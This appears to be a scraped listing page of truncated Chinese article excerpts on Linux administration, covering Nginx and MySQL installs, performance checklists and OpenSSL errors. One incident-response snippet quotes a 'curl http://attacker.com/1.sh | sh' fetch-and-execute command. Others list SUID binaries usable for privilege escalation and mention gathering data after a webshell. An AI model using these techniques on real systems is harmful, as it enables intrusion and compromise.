当需要一次执行多个命令的时候，可以同时输入，不同命令之间可以使用分号“；”隔开，示例如下：
注：本文仅用于知识分享，请勿用于非法攻击，任何后果与本团队无关。 01 简介 在进行Linux系统的攻击应急时，大家可能会查看pid以及/proc相关信息，比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令，通过/proc/$pid/exe抓样本等，但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢？最近看了一篇@MagisterQuis写的文章https://magisterquis.githu
vi /etc/sysconfig/network-scripts/ifcfg-eth0
MySQL目录概要 MySQL的几个常用安装包：rpm、源码、二进制免编译 cd /usr/local/src //切换到下载源码包的目录 wget http://mirrors.sohu.com/mysql/MySQL-5.6/mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz tar zxvf mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz //解压 mv mysql-5.6.35-linux-glibc2.
周六群里大佬发了一篇文章，是关于TCP keepalive相关的，其中有一段是关于孤儿连接的，这里引用下
Bugzilla 是一个基于 Web 的，开源的，用来记录跟踪缺陷数据库的 bug 跟踪软件。它可以管理软件开发中缺陷的提交（new）、修复（resolve）和关闭（close）等整个生命周期，它允许个人和团队有效地记录下他们产品的一些突出问题。
11.1 LAMP架构介绍 LAMP架构介绍 LAMP架构包含了 Linux+Apache(httpd)+MySQL+PHP ，简称LAMP Linux是操作系统，比如centos，Ubuntu都是linux操作系统 Apache提供web服务软件，其真正名字为 httpd，习惯称之为Apache MySQL存储软件，存的是数据、字符串，不是图片 PHP是脚本语言，和shell相似，但比shell复杂，PHP是由 C语言 开发的，通常用于做网站（主要）； 目前由于移动网络的影响，PHP现在不怎么受欢迎
Web工作者构建网站就需要用到Nginx Web服务器，可是还有小伙伴不会在Linux上安装Nginx，毕竟我们开发的项目都是要在服务器上运行的，今天就来讲讲如何在CentOS7环境使用源码进行安装Nginx。
LAMP包含了四种东西，就是Linux+Apache(httpd)+MySQL+PHP的一个简写，Linux我们都很熟悉，它通常作为服务器操作系统，Apache则是一个提供Web服务的一个软件，它真正的名称是httpd。MySQL是数据库软件，存储的是一些数据、字符串、用户信息。PHP是一个脚本语言，和shell类似但是比shell复杂，如果接触过C语言的就知道PHP是用C语言开发的，它通常用来做网站，是前几年比较火热的一门语言，但是现在的趋势是向移动端互联网发展，在PC上访问网站的用户少于在手机上访问网站的用户，所以现在PHP的需求也没有以前高了。
这是查看平均负载的快速方法，该平均负载指示要运行的任务(进程)的数量。在Linux系统上，这些数字包括要在CPU上运行的进程以及在不可中断I / O(通常是磁盘I / O)中阻塞的进程。这给出了资源负载(或需求)的高级概念，然后可以使用其他工具进一步探索。
我在这里启动之前先看一下有没有nginx的进程在运行，nginx默认80端口，看看80端口有没有被占用
1.安装GCC 安装 nginx 需要先将官网下载的源码进行编译，编译依赖 gcc 环境，如果没有 gcc 环境，则需要安装
这篇文章主要是关于Nginx在编译安装时，可能出现的错误的解决方法。Nginx正确的编译安装操作见前文《2015博客升级记(三)：CentOS 7.1编译安装Nginx1.9.0》。
nginx是C语言开发，建议在linux上运行，本教程使用Centos6.5作为安装环境。
nginx是C语言开发，建议在linux上运行，本教程使用Centos7.0作为安装环境。
3.zlib 库提供了很多种压缩和解压缩的方式， nginx 使用 zlib 对 http 包的内容进行 gzip ，所以需要在 Centos 上安装 zlib 库。
程序设计语言通常不构成安全风险，风险是由程序员带来的。几乎每种语言都有某些缺陷，这些缺陷在某种程度上可能有助于创建不安全的软件，但软件的整体安全性仍然在很大程度上取决于开发者的安全意识。Perl也有安全“陷阱”，然而大多数Perl程序员并不了解这些陷阱。
suid即set user id，是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。 已知的可以用来提权的Linux可执行文件有： CopyNmap、Vim、find、Bash、More、Less、Nano、cp 比如常用的ping命令。ping需要发送ICMP报文，而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前，使用Raw Socket是需要root权限的（当然不是说引入CAPABILITIES就不需要权限了，而是可以通过其他方法解决，这个后说），所以你如果在一些老的系统里ls -al $(which ping)，可以发现其权限是-rwsr-xr-x，其中有个s位，这就是suid：
Capabilities机制是在Linux内核2.2之后引入的，原理很简单，就是将之前与超级用户root（UID=0）关联的特权细分为不同的功能组，Capabilites作为线程（Linux并不真正区分进程和线程）的属性存在，每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类，具有相似功能的内核调用被分到同一组中。
日常的工作中，会收到一堆CPU使用率过高的告警邮件，遇到某台服务的CPU被占满了，这时候我们就要去查看是什么进程将服务器的CPU资源占用满了。通常我们会通过top或者htop来快速的查看占据CPU最高的那个进程，如下图：
我们在获取到webshell之后，经常会遇到Linux的操作系统，这是我们需要对Linux系统本地的敏感资源进行信息收集，下面就是一些有用的信息获取方式。
静态模板是固定的 数据库中的数据全量喧嚷到模板中，下次请求来了直接返回，速度也很快；
在虚拟机中，以 root 身份登录客户机操作系统，打开终端窗口并运行ls /dev命令查看是否含有cdrom目录
CentOS 8操作附带一个定制内核，以确保其完整性和与支持的硬件的兼容性。CentOS 8 Linux中附带的内核版本为4.18。Linux内核包括基本内核本身和许多内核模块。
并发量小，用户使用的少，所以在低并发的情况下，一个jar包启动应用就够了，然后内部tomcat返回内容给用户。
Nginx是使用C语言开发的，建议部署在Linux操作系统上，当然也可以安装在Windows操作系统安装Windows版本的Nginx，本文演示在CentOS操作系统上安装源码安装Nginx。
自己写示例发现这种方法可以使程序进入后台执行状态，大概原理是 fork 子进程，退出主进程，使得程序被 1 号父进程接管，在终端表现则是进入了后台执行状态。
以前写过一些Nginx的文章，但都是用到什么说什么，没有一个完整系统的总结。趁最近有时间，打算将Nginx相关的内容重新整理一下。nginx系列文章地址如下：https://www.cnblogs.com/zhangweizhong/category/1529997.html
如果启动出现：nginx: [emerg] getpwnam(“www”) failed
以 ssh 为例，每当有 ssh 的连接请求时，tcpd（Tcp Wrapper的守护进程）即会截获请求， 当请求满足配置文件中的规则，则放行，否则中断连接，配置文件中可设置匹配规则后执行命令
简单来说，Nginx就是一个代理服务器，什么是代理服务器呢？也就是当我们访问服务器的时候，请求不会直接请求到服务器，中间会有个代理，代理会预先于服务器处理这些请求，最后由代理决定是否要把请求提交至服务器。
作为一个经验丰富的C/C++程序猿， 肯定亲手写过各种功能的代码， 比方封装过数据库訪问的类， 封装过网络通信的类，封装过日志操作的类， 封装过文件訪问的类， 封装过UI界面库等， 也在实际的项目中应用过， 可是回过头细致想想，事实上曾经自己写过的这些代码，仅仅能是在特定的项目或者特定的环境中使用， 对于自己来说， 在不同的项目中应用， 仅仅须要复制代码， 改改也就能够了， 由于自己写的代码自己非常熟悉。问题是， 你封装的这些库， 在给别人使用的时候， 别人用起来是否非常方便， 跨平台方面是不是也非常通用， 性能是不是足够的好， 是不是支持多线程， 功能是不是也足够强大，能够适用于各种不同的需求。假设你上面这些都做到了， 证明你在这个库上确实花费了一番功夫， 经过了持续的改进和优化。
注：本文主要参考InfoQ文章用十条命令在一分钟内检查Linux服务器性能，在此基础上对涉及的Linux命令进行整理而成。
通过部署nginx_lua_waf，具有使用简单、高性能、轻量级的优势，能够有效的防范sql注入、文件包含、XSS、fuzzing等web攻击，屏蔽异常的网络请求，防止webshell上传，相比于安全狗等商业版WAF，能够根据实际需求调整过滤规则，编辑符合企业自身业务需求的过滤规则。
性能分析的目标是改善用户体验、降低运行成本。性能分析的方法论可以指导你进行这些选择，告诉你从哪里开始，一步步分析，最后在哪里结束。 本文选自《BPF之巅：洞悉Linux系统和应用性能》一书，将向你介绍一个 Linux 下的 60 秒分析的检查清单，你在做日常性能分析工作时可以首先使用它~它能直接帮助你快速定位性能问题，或者至少提供进一步使用哪些 BPF 工具进行分析的线索。 60秒清单 这个清单适用于任何性能问题的分析工作，也反映了笔者在实际工作中，当登录到一台表现不佳的 Linux 系统中后，在最初 60
在 kubernetes 中，Deployment、DaemonSet会持续运行任务，这些 pod 中的进程在崩溃退出时会重新启动，永远达不到完成态。你也许会遇到这样的场景，当需要运行一个一次性的可完成的任务，其进程终止后，不应该再重新启动，那么 Job 资源类型完全符合你。Kubernetes 中通过 Job 资源提供了对此的支持，它允许你运行一种 pod，该 pod 在内部进程成功结束时，不重启容器。一旦任务完成，pod 就被认为处于完成状态。在发生节点故障时，该节点上由 Job 管理的 pod 将按照 ReplicaSet 的 pod 的方式， 重新安排到其他节点，以确保任务能够成功完成，所以 Job 通常用于执行一次性任务或批处理作业。Job 还可以控制 Pod 的数量，确保一定数量的 Pod 成功完成任务。Job 的一些常用使用场景：
传统项目中，可以在web项目中添加一个文件夹，来存放上传的图片。例如在工程的根目录WebRoot下创建一个images文件夹。把图片存放在此文件夹中就可以直接使用在工程中引用。
本问题来自讨论区群，用户使用数据库环境大概介绍如下： 名称版本操作系统CentOS 7系统内核版本3.10.0-1160.118.1.el7.x86_64openssl升级之前版本1.0.2kopenssl升级之后版本1.1.1w数据库版本GreatSQL-8.0.32-25 用户问题 用户提供的问题信息内容如下： 1、Openssl 版本升级之后 GreatSQL 无法启动报错如下： -- Unit mysqld.service has begun starting up. Jun 07 14:03:21 m-node1 mysqld[34078]: /usr/local/GreatSQL/bin/mysqld: /usr/local/openssl/lib/libcrypto.so: version `OPENSSL_1.0.1_EC' not found (required by /usr/local/GreatSQL/bin/../lib/private/libssl.so.10) Jun 07 14:03:21 m-node1 mysqld[34078]: /usr/local/GreatSQL/bin/mysqld: /usr/local/openssl/lib/libcrypto.so: version `libcrypto.so.10' not found (required by /usr/local/GreatSQL/bin/../lib/private/libssl.so.10) Jun 07 14:03:21 m-node1 systemd[1]: mysqld.service: control process exited, code=exited status=1 Jun 07 14:03:21 m-node1 systemd[1]: Failed to start MySQL Server. 2、用户经过检查，再次安装了 GreatSQL 的 rpm 依赖包，依然报错 so 动态库文件问题 $ yum install -y pkg-config perl libaio-devel numactl-devel numactl-libs net-tools openssl openssl-devel jemalloc jemalloc-devel perl-Data-Dumper perl-Digest-MD5 python2 perl-JSON perl-Test-Simple 3、将 GreatSQL 命令配置到环境变量 PATH 中，依然报错 so 动态库文件问题 $ ln -s /usr/local/GreatSQL-8.0.32-25-Linux-glibc2.17-x86_64 /usr/local/greatsql $ vim /etc/profile export PATH=$PATH:/usr/local/greatsql/bin $ source /etc/profile $ mysql -V mysql: /usr/local/openssl/lib/libcrypto.so: version `libcrypto.so.10' not found (required by mysql) mysql: /usr/local/openssl/lib/libssl.so: version `libssl.so.10' not found (required by mysql) 解答用户疑问 根据现象及报错内容分析，推测极可能是在 /usr/local 目录下安装了更高版本的 Openssl，导致动态库链接失败。 这种情况可以把 Openssl 下的 lib 库加载到 LD_LIBRARY_PATH 环境变量中。 解决用户问题 将 Openssl 下的 lib 库加载到 LD_LIBRARY_PATH 环境变量中。 意思也是为了，不将 /usr/local/openssl/lib 加载到 LD_LIBRARY_PATH 中了。 $ vim /etc/profile export LD_LIBRARY_PATH=/usr/lib64 $ source /etc/profile 使用ldd命令检查mysqld是否缺失依赖so库文件 $ ldd mysqld | grep ssl libssl.so.10 => /usr/local/GreatSQL-8.0.32-25-Linux-glibc2.17- x86_64/bin/./../lib/private/libssl.so.10 (0x00007f292ed72000) $ ldd mysql | grep ssl libssl.so => /lib64/libssl.so (0x000
userdel 是一个底层用于删除用户的工具。在 Debian 上，我们通常会使用 deluser 命令。userdel 会查询系统账户文件，例如 /etc/password 和 /etc/group。那么它会删除所有和用户名相关的条目。在我们删除它之前，用户名必须存在。
1. 查看当前Linux系统是否已经安装java，输入 rpm -qa | grep -i java
本文的内容主要来自对Netflix的一篇技术博客( Linux Performance Analysis in 60,000 Milliseconds （https://medium.com/netflix-techblog/linux-performance-analysis-in-60-000-milliseconds-accc10403c55），并添加了一些自己的理解，仅供参考。
说到 Nginx ，可能大家最先想到的就是其负载均衡以及反向代理的功能。没错，这也是当前使用 Nginx 最频繁的两个功能，但是 Nginx 可不仅仅只有这两个功能，其作用还是挺大的，本系列博客就来慢慢解开 Nginx 神秘的面纱。
不必太纠结于当下，也不必太忧虑未来，当你经历过一些事情的时候，眼前的风景已经和从前不一样了。——村上春树
所谓“监牢”就是指通过chroot机制来更改某个进程所能看到的根文件夹，即将某进程限制在指定文件夹中，保证该进程仅仅能对该文件夹及其子文件夹的文件有所动作，从而保证整个server的安全。
1、virtual box 官网下载最新 (opens new window)（本次笔记使用的是 VirtualBox-6.0.4-128413-Win.exe），安装完成之后，需要先配置下虚拟电脑的默认位置：管理 -> 全局设定 -> 虚拟电脑位置
如果你的Linux服务器突然负载暴增，告警短信快发爆你的手机，如何在最短时间内找出Linux性能问题所在？来看Netflix性能工程团队的这篇博文，看它们通过十条命令在一分钟内对机器性能问题进行诊断。
之前写了一篇关于linux下常用的几个命令，参考Linux入门--提高工作效率的命令 一、bash shell中的快捷键 光标移动命令 Ctrl + a - 跳到命令行行首 Ctrl + e - 跳到命令行尾 Ctrl + b - 回跳一个字符 Ctrl + f -往前跳一个字符 字符删除快捷键 Ctrl + d - 删除光标所在字符 Ctrl + k - 从光标处删除到行未尾 Ctrl + u - 从光标处删除到行首 Ctrl + w - 删除最后输入的单词 中断、停止 Ctrl + c - 中止命令
当你登录到linux服务器处理性能问题的时候，最开始的一分钟你会做些啥？ Netflix有大量的EC2云服务主机，也有很多检测和排查性能问题的工具。比如像云监控工具Atlas和实例分析工具Vector。这些工具帮我们解决了大部分性能问题，但有时候我们仍需要登录到服务器上运行一些标准的Linux性能排查工具。
掌握一些性能优化工具和方法，这就需要在工作中不断地积累；计算机基础知识很重要，比如说网络知识、操作系统知识等等，掌握了基础知识才能让你在优化过程中抓住性能问题的关键，也能在性能优化过程中游刃有余。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
